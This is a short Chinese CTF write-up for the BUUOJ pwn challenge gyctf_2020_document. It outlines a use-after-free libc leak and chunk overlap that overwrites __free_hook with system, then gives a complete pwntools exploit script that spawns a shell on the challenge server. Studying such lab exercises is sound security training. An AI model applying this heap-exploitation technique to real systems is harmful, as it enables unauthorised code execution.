这道题不算难的,典型的uaf漏洞,所以没做流程分析了
思路
- 由于有uaf漏洞,所以我们直接申请一个chunk,再释放掉,由于有uaf,可以直接泄露libc地址
- 泄露libc后,由于第一个chunk被释放了,并且edit函数编辑的是chunk+0x10的偏移位置,所以我们再申请两个chunk
- 这个时候,我们就可以发现idx为0的头部chunk指向了,idx为3的头部chunk的pre_size位,这时候已经overlap了,所以直接覆盖chunk3指向堆的那个偏移,并且要与free_hook或者malloc_hook的偏移相差0x10
- 经过调试发现free_hook周围都是0,所以我覆盖了free_hook,然后hook一下就好了
exp
from pwn import * p = remote("node3.buuoj.cn", 28870) #p = process("./gyctf_2020_document") context.log_level = 'debug' elf = ELF("./gyctf_2020_document") libc = ELF('../libc-2.23.so') menu = "Give me your choice : " def add(name, sex, content): p.recvuntil(menu) p.sendline('1') p.recvuntil("input name ") p.send(name) p.recvuntil("input sex ") p.send(sex) p.recvuntil("input information ") p.send(content) def delete(index): p.recvuntil(menu) p.sendline('4') p.recvuntil("Give me your index : ") p.sendline(str(index)) def show(index): p.recvuntil(menu) p.sendline('2') p.recvuntil("Give me your index : ") p.sendline(str(index)) def edit(index, content): p.recvuntil(menu) p.sendline('3') p.recvuntil("Give me your index : ") p.sendline(str(index)) p.recvuntil("Are you sure change sex? ") p.send('N ') p.recvuntil("Now change information ") p.send(content) add('p'*8, 'p'*8, 'c'*0x70)#0 add('p'*8, 'p'*8, 'c'*0x70)#1 delete(0) show(0) libc.address=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))-0x3c4b20-88 free_hook=libc.symbols['__free_hook'] print(hex(free_hook)) add('/bin/shx00', '/bin/shx00', 'c'*0x70)#2 delete(1) add('/bin/shx00', '/bin/shx00', 'c'*0x70)#3 payload=(p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+p64(0)+p64(0x51)).ljust(0x70,b'x00')+b' ' edit(0,payload) system=libc.symbols['system'] #gdb.attach(p) edit(3,p64(system).ljust(0x70,b'x00')+b' ') #gdb.attach(p) p.interactive()